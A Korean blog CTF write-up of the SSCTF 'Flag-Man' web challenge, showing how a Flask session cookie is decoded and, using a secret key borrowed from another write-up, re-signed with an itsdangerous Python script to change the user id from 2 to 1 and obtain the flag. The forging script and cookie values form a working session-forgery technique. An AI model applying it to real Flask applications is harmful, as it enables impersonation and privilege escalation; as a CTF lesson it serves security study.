티스토리 뷰
Flag-Man
Github 아이콘과 함께 login 그리고 오직 / and /user 만 있고 다른 페이지는 없다고 한다. (callback은?)
문제에서 주어진 /user 에도 이동해보면 달랑 please login first. 만 있는 줄 알았는데 마우스로 드래그해보면 Flask로 동작하고 있다는 것을 알 수 있다.
login을 눌러보면 내 Github 계정의 권한을 요청한다.
요청을 허가하고 나면 /user/ 에 접근이 가능하고 Github 계정 사진 정보와 uid, id 번호 값을 가져오는 것을 알 수 있고 쿠키를 확인해보면 그전에 없던 session 이라는 것이 생성되어 있는 것을 알 수 있다.
session: eyJpbmZvIjpbMiwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboUGA.DMsNeQ_SEk_MIfxUjONDCUm-kyw
위 값을 base64 로 디코딩해보면 아래와 같은 값을 알 수 있다.
{"info":[2,"do9dark",16508370,"https://avatars.githubusercontent.com/u/16508370?v=3"]}n�3,5�C#8��Ri2
앞 부분은 읽는 게 가능하지만 뒷 부분은 그렇지 않은 것을 알 수 있고 session 을 보면 .(dot)을 기준으로 첫 번째 구간의 값이 정상적으로 디코딩 된 데이터와 매칭되는 것을 알 수 있다.
여기에서 풀이를 보면 {{app.secret_key}} 값을 얻어내야하는데, 그 부분을 잘 모르겠습니다...누가 좀 알려주세요 ㅠ_ㅜ
시간이 없어서 우선 풀이에 있는 secret_key 값을 이용하였다.
session 의 값을 정상적으로 풀어서 확인해보고 정상적으로 풀렸다면 반대로 해당 데이터의 값을 변조해서 다시 서명을 한다. (id 값을 2에서 1로 변경해준다.)
해당 코드는 아래와 같다.
sign.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | # pip install itsdangerous from itsdangerous import URLSafeTimedSerializer # pip install flask from flask.sessions import TaggedJSONSerializer import hashlib val = "eyJpbmZvIjpbMiwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboUGA.DMsNeQ_SEk_MIfxUjONDCUm-kyw" secret_key = 'sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl' salt = 'cookie-session' serializer = TaggedJSONSerializer() signer_kwargs = dict( key_derivation = 'hmac', digest_method = hashlib.sha1 ) s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) print s.loads(val) new = s.loads(val) new['info'][0] = 1 print s.dumps(new) | cs |
결과:
첫 번째 줄에 정상적으로 풀린 것을 볼 수 있고 두 번째 줄에는 2를 1로 변경해서 다시 서명한 session 값이다.
session: eyJpbmZvIjpbMSwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboZfA.9isMF0fsxeylkk4UJaqSs_JQaBI
이 값을 이용해서 쿠키를 변조해주면 Flag를 얻을 수 있다.
Flag: SSCTF{dc28c39697058241d924be06462c2040}
'CTF (Git으로 이사 예정)' 카테고리의 다른 글
[CODEGATE2016] Hack No-Jam - Web (365 Point) (0) | 2016.03.31 |
---|---|
[CODEGATE2016] Combination Pizza - Web (222 Point) (0) | 2016.03.31 |
[SSCTF] AFSRC-Market - Web (500) (0) | 2016.03.04 |
[SSCTF] Legend ? Legend ! - Web (300) (0) | 2016.03.03 |
[SSCTF] Can You Hit ME ? - Web (200) (0) | 2016.03.02 |
[SSCTF] Up!Up!Up! - Web (100) (0) | 2016.03.01 |
[SharifCTF] technews - Web (200) (0) | 2016.02.09 |
[SharifCTF] PhotoBlog - Web (100) (0) | 2016.02.09 |
[32C3] ITD - Web (150) (0) | 2016.01.19 |
[32C3] Sequence Hunt - Web (200) (0) | 2016.01.13 |